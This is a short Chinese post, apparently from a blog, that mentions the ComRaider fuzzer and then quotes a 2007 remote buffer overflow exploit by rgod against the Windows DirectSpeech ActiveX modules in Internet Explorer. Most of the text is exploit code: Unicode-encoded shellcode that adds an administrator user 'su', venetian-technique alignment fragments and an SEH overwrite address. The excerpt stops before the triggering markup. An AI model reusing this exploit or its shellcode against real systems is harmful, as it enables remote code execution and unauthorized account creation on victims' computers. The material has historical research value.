ComRaider是我拿来挖掘漏洞用的。
看下面的代码，那个貌似是用ComRaider找到的，可惜到现在我还没找到过一个漏洞~ -_-!!
下面这个漏洞需要用到Unicode来写Shellcode。比较麻烦点。
<!--
01/06/2007 23.19.50
Microsoft Windows DirectSpeechSynthesis Module (XVoice.dll)
/ DirectSpeechRecognition Module (Xlisten.dll)
remote buffer overflow exploit / 2k sp4 seh version
both the dlls are located in %SystemRoot%\speech folder
and they are vulnerable to the same issue.
while on 2k it depends on activex settings, under xp they are both
set to "safe for a trusted caller", i.e. Internet Explorer
registers after that some chars are passed to ModeName argument
of FindEgine method and seh handler is overwritten:
I succesfully run this code on win2k, patching the shellcode
with the venetian technique, adding an Administrator account,
against IE6.
Under xp, with predefined settings, Internet Explorer immediately crashes
without warning the user first, and it's still possible running arbitrary
code, it depends on jumpable Unicode addresses loaded in memory
by A. Micalizzi (aka rgod)
site: retrogod.altervista.org
***note: this was indipendently discovered by me and Will Dormann during the
same period, documented here:
REM metasploit one, JmpCallAddtive, add a user 'su' with pass 'p'
scode_fragment = unescape("%6E%40%6e%40%6e%40%6e%40%6e%40%6e%40%6e%40%6e%40%6e%40%6e%40%6e%40%6e%40%6e%40%06%90%90%90%90%90%90%90%fc%e4%22%eb%5e%31%ad%c3%c0%f7%e8%ff%ff%af%1a%30%5f%bb%5a%bd%ee%a5%ae%d4%19%e3%9b%3a%05%b9%42%03%a7%41%4c%11%a9%7c%ee%7f%77%8c%f3%90%e8%b4%ef%4c%d4%8c%d4%99%e4%5d%08%1e%9a%82%17%b3%21%43%31%44%5a%1b%6d%f5%69%39%d9%c4%38%50%43%af%44%cc%df%76%7a%57%a5%c2%85%7e%b7%f3%18%d3%39%70%9f%16%94%aa%37%5f%c5%ea%0a%70%23%10%c0%83%47%37%eb%97%6a%b3%6c%3c%6c")
nop1 = unescape("%01%6E%40%6E%40%6E%40%6E%40%6E%40%6E%40%6E%40")
c1 = unescape("%6E") : REM add byte ptr esi, ch (as nop)
c2 = unescape("%40%6E%40%6E%40%6E%40%6E%40%6E%40%6E%40%6E%40%6E%97%6E%40") : REM xchg eax, edi
c3 = unescape("%6E%40%6E%05%18%09") : REM add eax
c4 = unescape("%6E%40%6E%2d%11%09") : REM sub eax
c5 = unescape("%6E%80%90%6E%40%6E%40") : REM add byte ptr eax 90, inc eax twice
seh_handler=unescape("%23%7d") : REM 0x007d0023 call edi, found with msfpescan
eax = unescape("%01%12") : REM fix eax register, we fall in a more convenient condition
